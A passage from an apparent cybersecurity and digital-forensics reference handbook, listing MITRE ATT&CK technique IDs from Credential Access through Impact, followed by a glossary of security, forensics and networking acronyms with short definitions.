T1555.003	Credentials from Password Stores: Credentials from Web Browsers
T1555.004	Credentials from Password Stores: Windows Credential Manager
T1212	Exploitation for Credential Access
T1187	Forced Authentication
T1606	Forge Web Credentials
T1606.002	Forge Web Credentials: SAML Tokens
T1056	Input Capture
T1056.001	Input Capture: Keylogging
T1621	Multi-Factor Authentication Request Generation
T1040	Network Sniffing
T1003	OS Credential Dumping
T1003.001	OS Credential Dumping: LSASS Memory
T1003.002	OS Credential Dumping: Security Account Manager
T1003.003	OS Credential Dumping: NTDS

MITRE ATT&CK MATRIX **TA0006 · Credential Access** (cont.)

ID	TECHNIQUE
T1003.004	OS Credential Dumping: LSA Secrets
T1003.006	OS Credential Dumping: DCSync
T1003.008	OS Credential Dumping: /etc/passwd and /etc/shadow
T1528	Steal Application Access Token
T1558	Steal or Forge Kerberos Tickets
T1558.001	Steal or Forge Kerberos Tickets: Golden Ticket
T1558.002	Steal or Forge Kerberos Tickets: Silver Ticket
T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting
T1558.004	Steal or Forge Kerberos Tickets: AS-REP Roasting
T1552	Unsecured Credentials
T1552.001	Unsecured Credentials: Credentials In Files
T1552.002	Unsecured Credentials: Credentials in Registry
T1552.004	Unsecured Credentials: Private Keys

MITRE ATT&CK MATRIX **TA0007 · Discovery**

Learn the environment from the inside.

ID	TECHNIQUE
T1087	Account Discovery
T1087.001	Account Discovery: Local Account
T1087.002	Account Discovery: Domain Account
T1010	Application Window Discovery
T1217	Browser Information Discovery
T1580	Cloud Infrastructure Discovery
T1526	Cloud Service Discovery
T1482	Domain Trust Discovery
T1083	File and Directory Discovery
T1046	Network Service Discovery
T1135	Network Share Discovery
T1201	Password Policy Discovery
T1069	Permission Groups Discovery
T1069.001	Permission Groups Discovery: Local Groups
T1069.002	Permission Groups Discovery: Domain Groups
T1057	Process Discovery
T1012	Query Registry
T1018	Remote System Discovery
T1518	Software Discovery
T1518.001	Software Discovery: Security Software Discovery
T1082	System Information Discovery
T1016	System Network Configuration Discovery
T1049	System Network Connections Discovery
T1033	System Owner/User Discovery
T1007	System Service Discovery
T1124	System Time Discovery

MITRE ATT&CK MATRIX **TA0008 · Lateral Movement**

Move to other systems on the network.

ID	TECHNIQUE
T1210	Exploitation of Remote Services
T1534	Internal Spearphishing
T1570	Lateral Tool Transfer
T1563	Remote Service Session Hijacking
T1563.002	Remote Service Session Hijacking: RDP Hijacking
T1021	Remote Services
T1021.001	Remote Services: Remote Desktop Protocol
T1021.002	Remote Services: SMB/Windows Admin Shares
T1021.003	Remote Services: Distributed Component Object Model
T1021.004	Remote Services: SSH
T1021.006	Remote Services: Windows Remote Management
T1091	Replication Through Removable Media
T1072	Software Deployment Tools
T1080	Taint Shared Content
T1550	Use Alternate Authentication Material

MITRE ATT&CK MATRIX TA0009 · Collection

Gather target data prior to exfiltration.

ID	TECHNIQUE
T1560	Archive Collected Data
T1560.001	Archive Collected Data: Archive via Utility
T1123	Audio Capture
T1119	Automated Collection
T1185	Browser Session Hijacking
T1115	Clipboard Data
T1530	Data from Cloud Storage
T1213	Data from Information Repositories
T1213.002	Data from Information Repositories: SharePoint
T1005	Data from Local System
T1039	Data from Network Shared Drive
T1025	Data from Removable Media
T1074	Data Staged
T1074.001	Data Staged: Local Data Staging
T1114	Email Collection
T1114.003	Email Collection: Email Forwarding Rule
T1056	Input Capture
T1113	Screen Capture
T1125	Video Capture

MITRE ATT&CK MATRIX TA0011 · Command and Control

Communicate with compromised hosts.

ID	TECHNIQUE
T1071	Application Layer Protocol
T1071.001	Application Layer Protocol: Web Protocols
T1071.002	Application Layer Protocol: File Transfer Protocols
T1071.004	Application Layer Protocol: DNS
T1092	Communication Through Removable Media
T1132	Data Encoding
T1001	Data Obfuscation
T1568	Dynamic Resolution
T1568.002	Dynamic Resolution: Domain Generation Algorithms
T1573	Encrypted Channel
T1573.002	Encrypted Channel: Asymmetric Cryptography
T1008	Fallback Channels
T1105	Ingress Tool Transfer
T1104	Multi-Stage Channels
T1095	Non-Application Layer Protocol
T1571	Non-Standard Port
T1572	Protocol Tunneling
T1090	Proxy
T1090.004	Proxy: Domain Fronting
T1219	Remote Access Software
T1102	Web Service

MITRE ATT&CK MATRIX TA0010 · Exfiltration

Steal data out of the network.

ID	TECHNIQUE
T1020	Automated Exfiltration
T1030	Data Transfer Size Limits
T1048	Exfiltration Over Alternative Protocol
T1048.003	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
T1041	Exfiltration Over C2 Channel
T1011	Exfiltration Over Other Network Medium
T1052	Exfiltration Over Physical Medium
T1567	Exfiltration Over Web Service
T1567.002	Exfiltration Over Web Service: Exfiltration to Cloud Storage
T1029	Scheduled Transfer
T1537	Transfer Data to Cloud Account

MITRE ATT&CK MATRIX TA0040 · Impact

Manipulate, interrupt, or destroy systems and data.

ID	TECHNIQUE
T1531	Account Access Removal
T1485	Data Destruction
T1486	Data Encrypted for Impact
T1565	Data Manipulation
T1491	Defacement
T1561	Disk Wipe
T1499	Endpoint Denial of Service
T1495	Firmware Corruption
T1490	Inhibit System Recovery
T1498	Network Denial of Service
T1496	Resource Hijacking
T1489	Service Stop
T1529	System Shutdown/Reboot

Glossary of acronyms

Cyber, DFIR, forensics and networking acronyms.

ACRONYM	STANDS FOR	DESCRIPTION
2FA	Two-Factor Authentication	Authentication requiring two distinct factors (e.g. password + token).
ACE	Access Control Entry	A single permission record inside an ACL granting/denying a principal access.
ACL	Access Control List	The ordered list of ACEs defining who may do what to an object.
AD	Active Directory	Microsoft's directory service for domain identity, authentication and policy.
AES	Advanced Encryption Standard	The dominant symmetric block cipher (128/192/256-bit keys).
API	Application Programming Interface	A defined interface through which software components interact.
APT	Advanced Persistent Threat	A well-resourced, often state-aligned adversary keeping long-term, stealthy access.
ARP	Address Resolution Protocol	Maps an IPv4 address to a MAC address on a local network; abused for MITM (ARP spoofing).
ASEP	Auto-Start Extensibility Point	Any system or application mechanism that lets a program execute automatically without user interaction; the prime hunting ground for persistence.
ASLR	Address Space Layout Randomization	An exploit mitigation that randomizes memory layout to hinder reliable code execution.
ATT&CK	Adversarial Tactics, Techniques & Common Knowledge	MITRE's curated knowledge base of observed real-world adversary behaviour.
AV	Antivirus	Endpoint software that detects and blocks known malware (signature/heuristic based).
BAM	Background Activity Moderator	A Windows registry key recording the last execution time of programs per user; useful execution evidence.
BCP	Business Continuity Plan	The plan for keeping critical operations running during and after a disruption.
BEC	Business Email Compromise	Fraud in which an attacker impersonates a trusted party via email to redirect funds or data.
BGP	Border Gateway Protocol	The routing protocol that exchanges reachability between autonomous systems on the Internet.
BIA	Business Impact Analysis	Assessment of how disruptions affect business functions, feeding RTO/RPO.
C2	Command and Control	The infrastructure and channel an attacker uses to control compromised hosts (also C&C).
CA	Certificate Authority	An entity that issues and vouches for digital certificates within a PKI.
CAPEC	Common Attack Pattern Enumeration and Classification	A MITRE catalogue of known attack patterns.
CASB	Cloud Access Security Broker	A control point enforcing security policy between users and cloud services.
CIDR	Classless Inter-Domain Routing	IP addressing/notation (e.g. /24) for flexible subnet and route aggregation.
CISO	Chief Information Security Officer	The executive accountable for an organization's information security.
CLSID	Class Identifier	A GUID identifying a COM class in the registry; abused for hijacking/persistence.

Glossary of acronyms (cont.)

ACRONYM	STANDS FOR	DESCRIPTION
COC	Chain of Custody	The documented, unbroken record of who handled evidence, when and why, to preserve admissibility.
COM	Component Object Model	A Windows binary interface standard for inter-component calls; targeted for hijacking.
CSF	Cybersecurity Framework	The NIST framework organizing security activities (Identify, Protect, Detect, Respond, Recover).
CSR	Certificate Signing Request	A request submitted to a CA to issue a certificate for a public key.
CSRF	Cross-Site Request Forgery	A web attack tricking a browser into sending unwanted authenticated requests.
CTI	Cyber Threat Intelligence	Analysed information on adversaries' capabilities and intentions, used to drive defence.
CVE	Common Vulnerabilities and Exposures	A unique identifier for a publicly disclosed security vulnerability.
CVSS	Common Vulnerability Scoring System	A 0–10 standardized severity score for vulnerabilities.
CWE	Common Weakness Enumeration	A catalogue of software/hardware weakness types (the root causes of CVEs).
DACL	Discretionary Access Control List	The ACL that grants/denies access to a securable object.
DC	Domain Controller	An Active Directory server that authenticates users and holds the directory database.
DDoS	Distributed Denial of Service	A denial-of-service attack sourced from many distributed hosts.
DEP	Data Execution Prevention	A mitigation marking memory non-executable to block code running from data pages.
DES	Data Encryption Standard	A legacy 56-bit symmetric cipher, now insecure.
DFIR	Digital Forensics and Incident Response	The combined discipline of forensically handling digital evidence and responding to incidents.
DGA	Domain Generation Algorithm	Malware logic that algorithmically generates many candidate C2 domains to resist takedown.
DHCP	Dynamic Host Configuration Protocol	Automatically assigns IP configuration to hosts on a network.
DKIM	DomainKeys Identified Mail	An email-authentication method signing messages so the receiver can verify the sending domain.
DKOM	Direct Kernel Object Manipulation	A rootkit technique that edits kernel structures to hide processes, drivers or connections.
DLL	Dynamic-Link Library	A shared Windows code/data module loaded at runtime; abused via search-order hijacking/injection.
DLP	Data Loss Prevention	Controls that detect and block exfiltration of sensitive data.
DMARC	Domain-based Message Authentication, Reporting & Conformance	An email policy layer over SPF/DKIM telling receivers how to handle failures.
DNS	Domain Name System	Resolves names to IP addresses; also a common covert channel for C2 and exfiltration.
DoS	Denial of Service	An attack that exhausts resources to make a service unavailable.
DRP	Disaster Recovery Plan	The plan to restore IT systems and data after a major outage.
EDR	Endpoint Detection and Response	An endpoint agent providing rich telemetry, detection and remote response.
ETW	Event Tracing for Windows	The high-performance tracing facility underpinning much Windows security telemetry.
EVTX	Windows XML Event Log	The binary file format (.evtx) of modern Windows event logs.
EXIF	Exchangeable Image File Format	Metadata embedded in images (camera model, timestamps, sometimes GPS).
FAT	File Allocation Table	A legacy file system family (FAT12/16/32, exFAT).

Glossary of acronyms (cont.)

ACRONYM	STANDS FOR	DESCRIPTION
$FN	File Name attribute	NTFS $FILE_NAME timestamps, updated by the kernel; comparing them to $SI reveals timestomping.
FTP	File Transfer Protocol	A clear-text file-transfer protocol (ports 20/21).
GDPR	General Data Protection Regulation	The EU regulation governing personal-data protection and breach notification.
GPO	Group Policy Object	An Active Directory container of policy settings applied to users/computers; abused for mass deployment.
GRC	Governance, Risk and Compliance	The discipline aligning security with business risk and regulatory obligations.
GUID	Globally Unique Identifier	A 128-bit identifier (Microsoft's term for a UUID).
HIDS	Host-based Intrusion Detection System	An IDS that monitors a single host's activity and integrity.
HIPAA	Health Insurance Portability and Accountability Act	U.S. law governing protection of health information (PHI).
HMAC	Hash-based Message Authentication Code	A keyed-hash construction providing integrity and authenticity.
HTTP	Hypertext Transfer Protocol	The clear-text web request/response protocol (port 80).
HTTPS	HTTP Secure	HTTP carried over TLS (port 443).
IAM	Identity and Access Management	The systems and policies governing digital identities and their permissions.
IAT	Import Address Table	The PE table of imported functions; rewritten by API hooking and some injection.
ICMP	Internet Control Message Protocol	Network diagnostics/error messaging (e.g. ping); abused for tunneling.
IDS	Intrusion Detection System	A system that detects and alerts on malicious or policy-violating activity.
IFEO	Image File Execution Options	A registry key whose Debugger value can launch arbitrary code when a target process starts.
IMAP	Internet Message Access Protocol	A mailbox-access protocol that keeps mail on the server.
IMDS	Instance Metadata Service	A cloud endpoint exposing instance credentials/config; a frequent SSRF/cred-theft target.
IOA	Indicator of Attack	Behavioural evidence of attacker intent/technique, independent of specific tools.
IOC	Indicator of Compromise	An observable artifact (hash, IP, domain, filename, key) suggesting a breach.
IP	Internet Protocol	The core addressing/routing protocol of the Internet (IPv4/IPv6).
IPS	Intrusion Prevention System	An inline IDS that can block detected malicious traffic.
IR	Incident Response	The organized process of detecting, containing, eradicating and recovering from incidents.
ISO	International Organization for Standardization	Publisher of standards including the ISO/IEC 27000 security series.
LAN	Local Area Network	A network confined to a small area such as an office.
LDAP	Lightweight Directory Access Protocol	The protocol for querying/modifying directory services such as Active Directory.
LFI	Local File Inclusion	A web flaw letting an attacker include local files, often leading to code execution.
LNK	Shell Link (shortcut)	A Windows .lnk file; its metadata records target paths, volumes and timestamps.
LOLBAS	Living Off the Land Binaries, Scripts and Libraries	The project cataloguing signed Windows binaries/scripts attackers abuse.
LOLBin	Living-Off-the-Land Binary	A legitimate, signed system binary (certutil, mshta, rundll32…) abused to evade detection.
LPE	Local Privilege Escalation	Gaining higher privileges from an already-present local context.
LSA	Local Security Authority	The Windows subsystem enforcing local security policy and handling authentication.
LSASS	Local Security Authority Subsystem Service	The process enforcing security policy and caching credentials; a prime credential-dumping target.
MAC	Media Access Control address	The hardware address of a network interface; its OUI identifies the vendor.
MD5	Message-Digest Algorithm 5	A fast 128-bit hash, broken for collisions but still used for integrity/identification.

Glossary of acronyms (cont.)

ACRONYM	STANDS FOR	DESCRIPTION
MFA	Multi-Factor Authentication	Authentication requiring two or more independent factors.
MFT	Master File Table	The NTFS metadata index describing every file and directory, including timestamps.
MITM	Man-in-the-Middle	An attack where the adversary secretly relays/alters communication between two parties.
MSSP	Managed Security Service Provider	A vendor delivering outsourced security monitoring and management.
MTTR	Mean Time To Respond/Recover	The average time taken to respond to or recover from incidents.
NAT	Network Address Translation	Rewriting of IP addresses/ports as traffic crosses a boundary.
NetBIOS	Network Basic Input/Output System	A legacy Windows name/session API (ports 137–139) still seen in lateral movement.
NIDS	Network-based Intrusion Detection System	An IDS that inspects network traffic for malicious activity.
NIST	National Institute of Standards and Technology	U.S. body publishing widely-used security guidance (SP 800-61 IR, the CSF).
NTDS	NT Directory Services (ntds.dit)	The Active Directory database file holding all domain account hashes.
NTFS	New Technology File System	The default Windows file system, rich in forensic metadata ($MFT, $UsnJrnl, ADS).
NTLM	NT LAN Manager	A legacy Windows challenge–response authentication protocol; targeted by pass-the-hash.
NTP	Network Time Protocol	Synchronizes system clocks; accurate time is vital for timeline analysis.
NVD	National Vulnerability Database	The U.S. government repository of CVE data with CVSS scores.
OOV	Order of Volatility	The principle of collecting the most perishable evidence (RAM, network state) first (RFC 3227).
OSINT	Open-Source Intelligence	Intelligence derived from publicly available sources.
OUI	Organizationally Unique Identifier	The vendor-assigned prefix of a MAC address.
PAC	Privilege Attribute Certificate	The Kerberos structure carrying a user's authorization data (group SIDs).
PAM	Pluggable Authentication Modules	The Linux/Unix framework that handles authentication; its config is a persistence target.
PAM	Privileged Access Management	Controls and tooling that secure, broker and audit privileged accounts.
PCAP	Packet Capture	A saved record of network packets (libpcap/Wireshark format) for traffic analysis.
PCI DSS	Payment Card Industry Data Security Standard	The security standard for organizations handling payment-card data.
PE	Portable Executable	The Windows executable/DLL file format (MZ/PE headers).
PGP	Pretty Good Privacy	An encryption/signing scheme for files and email (OpenPGP).
PHI	Protected Health Information	Health data protected under regulations such as HIPAA.
PID	Process Identifier	The number identifying a running process.
PII	Personally Identifiable Information	Data that can identify a specific individual.
PKI	Public Key Infrastructure	The framework of CAs, certificates and keys enabling trusted public-key crypto.
PoC	Proof of Concept	Code or steps demonstrating that a vulnerability is exploitable.
POP3	Post Office Protocol v3	A mailbox-access protocol that typically downloads and removes mail from the server.
PPID	Parent Process Identifier	The PID of the process that spawned a given process; key to spotting anomalous lineage.
PtH	Pass-the-Hash	Authenticating with a captured NTLM hash instead of the plaintext password.
PtT	Pass-the-Ticket	Reusing a stolen Kerberos ticket to authenticate as a user.
PUP	Potentially Unwanted Program	Software that is unwanted/risky but not outright malware (adware, bundlers).
RaaS	Ransomware as a Service	A model where operators lease ransomware to affiliates for a cut of proceeds.
RADIUS	Remote Authentication Dial-In User Service	A protocol for centralized network authentication, authorization and accounting.

Glossary of acronyms (cont.)

ACRONYM	STANDS FOR	DESCRIPTION
RAT	Remote Access Trojan	Malware giving an attacker covert interactive control of a host.
RBAC	Role-Based Access Control	Granting permissions to roles, then assigning users to roles.
RCA	Root Cause Analysis	Determining the underlying cause of an incident to prevent recurrence.
RCE	Remote Code Execution	Running attacker-chosen code on a target over a network.
RDP	Remote Desktop Protocol	Microsoft's remote-GUI protocol (port 3389); a common lateral-movement and access vector.
RFC	Request for Comments	The IETF document series defining Internet standards and protocols.
RID	Relative Identifier	The trailing part of a SID identifying a principal within a domain (e.g. 500 = built-in admin).
RPO	Recovery Point Objective	The maximum acceptable amount of data loss, measured in time.
RSA	Rivest–Shamir–Adleman	A widely-used public-key (asymmetric) cryptosystem.
RTO	Recovery Time Objective	The target time to restore a function after disruption.
SACL	System Access Control List	The ACL that defines which access attempts are audited.
SAM	Security Account Manager	The local Windows database/hive storing local account password hashes.
SHA	Secure Hash Algorithm	A family of cryptographic hashes (SHA-1, SHA-256, SHA-512).
ShimCache	Application Compatibility Cache	A registry store of executables seen by the OS (path, size, last-modified); evidence of presence.
$SI	Standard Information attribute	NTFS $STANDARD_INFORMATION timestamps shown in Explorer; user-writable, so timestompable.
SID	Security Identifier	The unique value identifying a Windows user, group or security principal.
SIEM	Security Information and Event Management	A platform aggregating and correlating logs/alerts for detection and investigation.
SMB	Server Message Block	Windows file/printer sharing (ports 139/445); heavily used for lateral movement.
SMTP	Simple Mail Transfer Protocol	The protocol for sending/relaying email (port 25).
SNMP	Simple Network Management Protocol	A device monitoring/management protocol; weak community strings are often abused.
SOAR	Security Orchestration, Automation and Response	Tooling that automates and orchestrates security workflows.
SOC	Security Operations Center	The team/facility that monitors, detects and responds to security events.
SOC	System and Organization Controls	An auditing framework (SOC 1/2/3) reporting on a service organization's controls.
SPF	Sender Policy Framework	An email-authentication check listing which hosts may send for a domain.
SPN	Service Principal Name	A Kerberos identifier binding a service to an account; abused in Kerberoasting.
SQLi	SQL Injection	Injecting SQL through unsanitized input to read/alter a database.
SRUM	System Resource Usage Monitor	A Windows database (SRUDB.dat) logging per-application network and resource usage.
SSDT	System Service Descriptor Table	The kernel syscall dispatch table; hooking it is a classic rootkit technique.
SSH	Secure Shell	Encrypted remote administration and tunneling protocol (port 22).
SSL	Secure Sockets Layer	The deprecated predecessor to TLS (the term persists colloquially).
SSO	Single Sign-On	One authentication that grants access to multiple systems.
SSRF	Server-Side Request Forgery	Coercing a server into making attacker-controlled requests (often to reach internal/IMDS).
TGS	Ticket-Granting Service ticket	The Kerberos service ticket presented to access a specific service.
TGT	Ticket-Granting Ticket	The Kerberos ticket proving identity and used to request service tickets.
TLP	Traffic Light Protocol	A colour code (RED/AMBER/GREEN/CLEAR) marking how shared information may be redistributed.

Glossary of acronyms (cont.)

ACRONYM	STANDS FOR	DESCRIPTION
TLS	Transport Layer Security	The protocol that encrypts/authenticates network traffic (successor to SSL).
TOR	The Onion Router	An anonymity network that routes traffic through layered relays.
TTL	Time To Live	A packet hop-count or record-lifetime value; in DNS it bounds how long a record is cached.
TTP	Tactics, Techniques and Procedures	The behavioural patterns describing how a threat actor operates (per ATT&CK).
UAC	User Account Control	The Windows feature prompting for elevation; bypasses are a common privilege technique.
UDP	User Datagram Protocol	A connectionless transport with no delivery guarantees (DNS, syslog, many C2 channels).
UEFI	Unified Extensible Firmware Interface	Modern firmware replacing legacy BIOS; targeted by bootkits.
UNC	Universal Naming Convention	The \\server\share path format for network resources.
URI	Uniform Resource Identifier	A string identifying a resource (superset of URL).
URL	Uniform Resource Locator	A URI that also gives the location/means of retrieving a resource.
USB	Universal Serial Bus	The common peripheral bus; USBSTOR registry keys record connected mass-storage devices.
USN	Update Sequence Number Journal	The NTFS change journal ($UsnJrnl) logging file-system modifications.
UUID	Universally Unique Identifier	A 128-bit identifier intended to be globally unique.
VAD	Virtual Address Descriptor	A kernel structure mapping a process's memory regions; used to locate injected code.
VLAN	Virtual LAN	A logically segmented broadcast domain within a switch fabric.
VPN	Virtual Private Network	An encrypted tunnel extending a private network across a public one.
VSS	Volume Shadow Copy Service	The Windows service creating point-in-time volume snapshots (a rich source of historic files).
WAF	Web Application Firewall	A filter inspecting HTTP traffic to block web attacks.
WAN	Wide Area Network	A network spanning large geographic distances.
WMI	Windows Management Instrumentation	Windows' management/query framework; abused for recon, lateral movement and fileless persistence.
WMIC	WMI Command-line	The legacy command-line interface to WMI; a common LOLBin.
XDR	Extended Detection and Response	A platform correlating detection/response across endpoint, network, identity and cloud.
XSS	Cross-Site Scripting	Injecting script into web pages to run in other users' browsers.
ZTA	Zero Trust Architecture	A model that trusts no implicit network position and verifies every request.